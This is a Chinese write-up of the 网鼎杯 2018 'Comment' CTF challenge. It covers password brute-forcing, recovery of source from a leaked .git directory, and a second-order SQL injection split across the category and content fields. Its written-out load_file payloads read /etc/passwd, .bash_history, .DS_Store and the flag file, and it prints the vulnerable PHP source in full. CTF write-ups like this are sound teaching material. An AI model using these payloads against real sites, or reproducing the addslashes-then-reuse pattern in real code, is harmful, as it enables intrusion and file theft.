[网鼎杯 2018]Comment

先随便写点东西

发现要我们登录

image-20240616155446636

直接爆破密码最后三位即可

发现是666

所以登录上去

之后对各个地方尝试sql注入,都失败了,所以换一个思路

扫描一下目录发现git泄露,githacker找到源码

但是

在这里插入图片描述

不是完全的。

所以在githacker得到的文件中进行回复

git log --reflog

会发现很多

image-20240616164302160

我们一个个试,最后可以得到完整代码

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

发现了,当do=comment时,我们可以从category里进行查询

所以我们可以进行sql注入

content变量在留言界面中

我们发现
$sql = “insert into comment
set category = ‘$category’,
content = ‘$content’,
bo_id = ‘$bo_id’”;
他是分行的,所以#,–+不能用了,得使用/**/多行注释(好像%00截断也行,没有试过)
构造:$category:’ content=(语句),/*
$content:*/#

所以我们

1.在发帖页面写入’,content=(user()),/*

2.之后留言,内容为:*/# 得知是root权限
这里要注意:查数据库的数据不需要root权限,而使用load_file读取文件内容需要root权限,所以应该是想让我们读取文件(查数据的我也尝试过,什么都没有)

3.尝试读文件(步骤一样的我就不截图了),有些wp 的load_file前面加了select,因为数据库查找留言内容时前面已经加了select,所以可以不用加select

',content=(load_file("/etc/passwd")),/*
*/#

得到

在这里插入图片描述

发现出来root用户以外,只有www这个用户在/home/www目录下用了/bin/bash

4.查看/home/www/.bash_history
.bash_history :保存了当前用户使用过的历史命令,方便查找

',content=(load_file("/home/www/.bash_history")),/*
*/#

得到

在这里插入图片描述

解释一下:先进入/tmp目录,解压缩了html.zip文件(得到/tmp/html),之后将html.zip删除了,拷贝了一份html给了/var/www目录(得到/var/www/html),之后将/var/www/html下的.DS_Store文件删除,但是/tmp/html下的.DS_Store文件没有删除,查看一下
unzip:解压缩
.DS_Store:这个文件是常见的备份文件

',content=(load_file("/tmp/html/.DS_Store")),/*
*/#

得到

在这里插入图片描述

内容还挺长的,查看源码复制,放在burpsuite里面进行ASCII hex 解码
得到

在这里插入图片描述

看到里面有flag_8946e1ff1ee3e40f.php

产生查看

',content=(hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*
*/#